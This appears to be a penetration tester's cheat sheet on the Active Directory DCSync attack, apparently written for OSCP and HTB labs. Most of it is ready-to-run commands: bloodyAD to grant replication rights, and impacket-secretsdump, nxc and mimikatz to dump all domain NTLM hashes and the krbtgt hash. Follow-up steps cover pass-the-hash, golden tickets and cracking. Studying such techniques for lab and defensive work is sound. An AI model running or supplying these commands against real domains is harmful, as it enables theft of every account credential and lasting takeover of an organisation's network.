DCSync — Domain Hash Dump
Ctrl+F:
DCSync·GetChanges·GetChangesAll·just-dc-ntlm·krbtgt
External: Internal All The Things — NTDS Dumping
DCSync is the ability to replicate directory secrets from a Domain Controller using the MS-DRSR API — dump all domain NTLM hashes (including krbtgt) without being Domain Admin.
BloodHound shows:
Your User
│
DCSync (or GetChanges + GetChangesAll)
▼
DomainYour first thought:
“Dump every hash from the DC → PtH to DA → golden ticket from krbtgt.”
📌 How you GET DCSync rights
| Source | Doc |
|---|---|
| BloodHound WriteDACL on Domain → grant yourself replication | WriteDacl |
| Domain Admin (implicit) | Already have it |
| Exchange Windows Permissions / delegated ACL chains | WriteDacl > 📌 Lab example |
| Grant via LDAP | bloodyAD > add dcsync — classic domain dump path |
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add dcsync userBloodHound edges: DCSync · GetChanges + GetChangesAll on Domain (together = DCSync).
📌 Execute — dump domain hashes (Linux)
Full reference → secretsdump > 📌 Remote Dump — Domain (DC)
# All domain NTLM hashes (most common OSCP)
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-ntlm
# Pass-the-Hash
impacket-secretsdump user@DC_IP -hashes ':NTHASH' -just-dc-ntlm
# Save to file
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-ntlm -outputfile domain_hashes.txt
# Single user (e.g. krbtgt for golden ticket)
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-user krbtgtKerberos ticket (no password on wire)
export KRB5CCNAME=user.ccache
impacket-secretsdump -k -no-pass domain.htb/user@DC_IP -just-dc-ntlm→ Use Kerberos Ticket · Kerberos Setup - krb5.conf · Time Sync-Clock Skew
📌 Execute — nxc
# Full NTDS dump (needs DA or DCSync rights)
nxc smb DC_IP -u user -p 'PASS' --ntds
# With hash
nxc smb DC_IP -u user -H NTHASH --ntds→ CrackMapExec - nxc > 📌 8) Hash Dumping — —ntds, —sam, —lsa
📌 Execute — Windows (Mimikatz)
On a host with DCSync rights (or DA):
mimikatz # lsadump::dcsync /domain:domain.htb /all /csv
mimikatz # lsadump::dcsync /domain:domain.htb /user:krbtgt
mimikatz # lsadump::dcsync /domain:domain.htb /user:Administrator📌 After dump — what to do
| Hash | Action |
|---|---|
| Administrator | evil-winrm -i DC_IP -u Administrator -H HASH · LatMovement |
| krbtgt | Golden ticket → Kerberos Scripts > ticketer · Rubeus |
| Service accounts | PtH · Kerberoast follow-up · Credential Graph |
| Crackable | Hashcat -m 1000 |
📌 vs other paths
| Path | Needs | Output |
|---|---|---|
| DCSync | Replication rights on domain | All domain hashes remotely |
| HasSession | Local admin on session host | One logged-on user’s creds |
| SeBackupPrivilege | Backup priv on DC | NTDS.dit file copy |
| DA on DC | Domain Admin | Same as DCSync + local SAM |
📌 Cleanup (if you granted DCSync)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' remove dcsync user📌 Quick cheat sheet
# Grant (WriteDacl on domain)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add dcsync user
# Dump
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-ntlm
nxc smb DC_IP -u user -p 'PASS' --ntds
# Golden ticket prep
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-user krbtgt